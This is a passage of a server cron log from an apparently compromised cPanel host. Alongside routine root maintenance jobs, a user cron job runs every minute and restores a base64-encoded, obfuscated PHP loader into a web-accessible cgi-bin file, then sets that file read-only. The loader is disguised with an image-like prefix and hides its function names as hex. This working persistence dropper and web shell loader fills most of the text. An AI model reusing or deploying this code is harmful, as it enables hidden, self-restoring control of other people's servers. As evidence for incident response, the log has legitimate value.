"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:53:01 server CROND[26313]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:54:01 server CROND[26360]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:55:01 server CROND[26506]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:55:01 server CROND[26507]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 15:55:01 server CROND[26508]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 15:56:01 server CROND[26617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:57:01 server CROND[26688]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 15:57:01 server CROND[26689]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:58:01 server CROND[26735]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:59:01 server CROND[26800]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:00:01 server CROND[26947]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 16:00:01 server CROND[26949]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  7 16:00:01 server CROND[26950]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 16:00:01 server CROND[26951]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 16:00:01 server CROND[26952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:01:01 server CROND[27077]: (root) CMD (run-parts /etc/cron.hourly)
Apr  7 16:01:01 server CROND[27078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:01:01 server run-parts(/etc/cron.hourly)[27077]: starting 0anacron
Apr  7 16:01:01 server run-parts(/etc/cron.hourly)[27092]: finished 0anacron
Apr  7 16:02:01 server CROND[27151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:03:01 server CROND[27218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:04:01 server CROND[27278]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:05:01 server CROND[27437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQt